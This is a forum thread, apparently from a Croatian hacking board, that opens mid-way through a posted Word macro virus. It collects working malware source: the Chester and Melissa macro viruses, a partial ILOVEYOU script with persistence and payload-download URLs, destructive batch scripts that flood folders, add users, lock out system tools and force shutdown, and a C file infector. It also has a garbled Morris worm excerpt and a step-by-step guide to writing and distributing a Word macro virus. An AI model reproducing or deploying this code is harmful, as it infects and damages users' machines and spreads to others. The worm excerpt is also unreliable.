'W97M/Chester
End If
'W97M/Chester
If ntc.lines(1, 1) <> "'W97M/Chester" Then
'W97M/Chester
ntc.insertlines 1, adc.lines(1, adc.countoflines)
End If
'W97M/Chester
If Dir("c:\mirc\mirc32.exe") <> "" Then
'W97M/Chester
Script = "c:\mirc\script.ini"
'W97M/Chester
chester = "c:\mirc\download\chester.txt.doc"
'W97M/Chester
ActiveDocument.SaveAs chester
'W97M/Chester
End If
'W97M/Chester
GoTo mirc
'W97M/Chester
If Dir("c:\Progra~1\mirc\mirc32.exe") <> "" Then
'W97M/Chester
Script = "c:\Progra~1\mirc\script.ini"
'W97M/Chester
chester = "c:\Progra~1\mirc\download\chester.txt.doc"
'W97M/Chester
ActiveDocument.SaveAs chester
'W97M/Chester
End If
'W97M/Chester
mirc:
'W97M/Chester
Open Script For Output As #1
'W97M/Chester
Print #1, "[Script]"
'W97M/Chester
Print #1, ""
'W97M/Chester
Print #1, "n0=on 1:Join:#: {"
'W97M/Chester
Print #1, "n1=/if ($nick == $me ) {Halt}"
'W97M/Chester
Print #1, "n2=/DCC Send chester"
'W97M/Chester
Print #1, "n3=/Clear"
'W97M/Chester
Print #1, "n4=/MOTD"
'W97M/Chester
Print #1, "n5=}"
'W97M/Chester
Close #1
'W97M/Chester
End Sub
'W97M/Chester
Sub stealth()
'W97M/Chester
On Error Resume Next
'W97M/Chester
CommandBars("Macro").Controls("Security").Enabled = 0
'W97M/Chester
CommandBars("Tools").Controls("Macro").Enabled = 0
'W97M/Chester
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = 0
'W97M/Chester
CommandBars("Tools").Controls("Options...").Enabled = 0
'W97M/Chester
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "level") = 1&
'W97M/Chester
End Sub
'W97M/Chester
Sub HelpAbout()
'W97M/Chester
On Error Resume Next
'W97M/Chester
If Day(Now) = 11 Then
'W97M/Chester
MsgBox "Ultimately there is nothing to forgive," & vbCr & "because ther is nothing to judge and " & vbCr & "no one to blame!!", vbSystemModal, "W97M/Chester"
'W97M/Chester
End If
'W97M/Chester
Dialogs(wdDialogHelpAbout).Show
'W97M/Chester
End Sub

Step 1. Open Notepad
Step 2. Type in some Command (you can customize yourself)

Citat :

Code:

lol = msgbox ("Downloading Virus..." ,16, "ERROR")
lol = msgbox ("Virus Downloaded." ,16, "ERROR")
lol = msgbox ("Installing Virus..." ,16, "ERROR")
lol = msgbox ("Death Love Bug installed successfully!" ,16, "ERROR")
lol = msgbox ("Click OK to launch." ,16, "ERROR")
lol = msgbox ("Virus will be activate in 24 hours." ,16, "ERROR")

Step 3. Save as .vbs file
Step 4. Open the .vbs and try
- What will come up are five consecutive error messages

Note:
you can convert that .vbs to .exe via ScriptCryptor Compiler [Download]
you can convert .bat(batch) file to .exe too Smile
[Download Quick Batch File Compiler]


Enjoy: Stulic

Bilo bi dobro da kod nekih "virusa" staviš što rade i koji im je "efkt".

Dragonhart je napisao/la:

Bilo bi dobro da kod nekih "virusa" staviš što rade i koji im je "efkt".

nema problema samo da vas pitam vi koji imate nod32 dali vam iskace kad otvorite ovu stranicu meni da

A iskače ti samo zato što on nalazi "virus" po samom sastavu tak i da u notepad napišeš i pokušaš spremit bi bloko.

Meni cim uđem u ovu stranicu iskoci nod32 prozor

al nema ti veze ne brini neče ništa biti

LOVE BUG 2000G Poznatiji kao “I LOVE
YOU“ virus, iskorištavao je ljudsku znatiželju da bi se širio.
Zarazio je 45 milijuna računala u
jednom danu i napravio štetu od 8,75 milijardi USD. i što da još kažem pokreni pa vidi



rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"
end if
end sub


Fali pola dijela, zato što radi preveliku štetu

simpsons pwnage:
neznam što radi našo sam ga na internetu

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

Molim te stulic nemoj stavljati tako jake viruse,sorry ali...

ok

// Melissa Virus Source Code

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."
End Sub

Evo mali bat programčić koji ima zgodan iritantan efekt.Uključuje zvučnik u računalu i ne prestaje...

@echo off
rem
rem
rem
rem ------------------------------------------------------------------------------------------------------------------------
@echo off
echo msgbox "XYZ", vbcritical, "XYZ" > temp.vbs
start temp.vbs
echo :piep >> piep.bat
echo echo  >> piep.bat
echo goto piep >> piep.bat
echo set osh = wscript.CreateObject("wscript.Shell") >> piepcontrol.vbs
echo osh.run "piep.bat",0,TRUE >> piepcontrol.vbs
start piep.bat
reg add "HKCU\Console" /v FullScreen /t REG_DWORD /d "1" /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d "1" > nul
reg add HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\Restrictions /v NoBrowserClose /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_SZ /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingsPage /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDispCPL /t REG_DWORD /d "1" > nul
reg add HKCU\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /v NoFind /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_BINARY /d "01 00 00 00" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoSecCPL /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d "1" > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d "1" > nul
copy %0 "%userprofile%\startm~1\Programme\Autostart"
start temp.vbs
cd %programfiles%
cd emule
cd incomi*
copy %0 2000Serials.bat
cd %programfiles%
cd Lime*
cd down*
copy %0 2000Serials.bat
shutdown -s -f -t 200
rem ----------------------------------------------------------------------------------------------------------------------
rem
rem
rem

worm.c



666 The Dead Zone 214-522-5321 300/1200/2400 666

#include

#include

#include

#include



long current_time;

struct rlimit no_core = {0,0};



int

main (argc, argv)

int argc;

char *argv[];



{

int n;

int parent = 0;

int okay = 0;

/* change calling name to "sh" */

strcpy(argv[0], "sh");

/* prevent core files by setting limit to 0 */

setrlimit(RLIMIT_CORE, no_core);

current_time = time(0);

/* seed random number generator with time */

srand48(current_time);

n = 1;

while (argv[n]) {

/* save process id of parent */

if (!strncmp(argv[n], "-p", 2)) {

parent = atoi (argv[++n]);

n++;

}

else {

/* check for 1l.c in argument list */

if (!strncmp(argv([n], "1l.c", 4))

okay = 1;

/* load an object file into memory */

load_object (argv[n];

/* clean up by unlinking file */

if (parent)

unlink (argv[n]);

/* and removing object file name */

strcpy (argv[n++], "");

}



}

/* if 1l.c was not in argument list, quit */

if (!okay)

exit (0);

/* reset process group */

setpgrp (getpid());

/* kill parent shell if parent is set */

if (parent)

kill(parent, SIGHUP);

/* scan for network interfaces */

if_init();

/* collect list of gateways from netstat */

rt_init();

/* start main loop */

doit();

}



int

doit()

{

current_time = time (0);

/* seed random number generator (again) */

srand48(current_time);

/* attack gateways, local nets, remote nets */

attack_hosts();

/* check for a "listening" worm */

check_other ()

/* attempt to send byte to "ernie" */

send_message ()

for (; {

/* crack some passwords */

crack_some ();

/* sleep or listen for other worms */

other_sleep (30);

crack_some ();

/* switch process id's */

if (fork())

/* parent exits, new worm continues */

exit (0);

/* attack gateways, known hosts */

attack_hosts();

other_sleep(120);

/* if 12 hours have passed, reset hosts */

if(time (0) == current_time + (3600*12)) {

reset_hosts();

current_time = time(0); }

/* quit if pleasequit is set, and nextw>10 */

if (pleasequit && nextw > 10)

exit (0);

}

}

C-Virus

/* C-Virus: A generic .COM and .EXE infector


Project started and completed on 6-24-91

Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/


#pragma inline // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection

int main(void)
{
/* The main program */

spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}

void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */

small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}

int infected(char *fname)
{
/* This function determines if fname is infected */

FILE *fp; // File handle
char sig[5]; // Virus signature

fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
/* This function is a small, quick print routine */

asm {
push si
mov si,string
mov ah,0xE
}

print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}

void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */


/* Variable declarations */

FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files


/* Perform the infection */

#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time


/* Clean up */

fcloseall(); // Close files
free(virus_code); // Free memory
}

char *victim(void)
{
/* This function returns the virus's next victim */


/* Variable declarations */

char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop


/* Find our victim */

if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);

for (index = 0; index < sizeof(types); index++) {
done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ffblk.ff_name);
#endif
/* If you want to check for specific days of the week,
months, etc., here is the place to insert the
code (don't forget to "#include "!) */

if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}


/* If there are no files left to infect, have a little fun... */

hostile_activity();
return(0); // Prevents warning
}

make a virus with microsoft word

Make a virus isn't easy. I mean not all the virus are easy. So dont just say "I wanna make a virus". It isn't a miracle. But u can make an easy virus, like for Microsoft word, have a try.
ATTENTION: u also will be infective by this virus, so u have to backup ur pc first.
Step I (startup)
Choose "New Document" and click the menu: Tools=>Macro=>Macros and write the Sub's name as AutoOpen .
Now the V.Basic editor will open. You can change the module's (module NOT macro or sub) name in something cool and original.
Get ready to write (between "Sub AutoOpen()" and "End Sub").
Step II (the code)
You write the PC infection code: copy the module from the file to normal.dot if the PC isn't infected yet (to see if it is, use a condition ex. a text string in the registry or the username="bla bla" or smth.)
Check if the file is infected (ex. if ActiveDocument.VBProject.VBComponents(2).Name = modulename), if not, copy the module from normat.dot to the file.
Step III (finish)
Write whatever else you want your virus to do, you can also make him infect the PC or the file when it's opened, closed, saved etc. by changing the Sub's name to: AutoClose, AutoSave, AutoNew etc. .
Write smth. funny in the document too...
Save the document and distribute it! READY!!!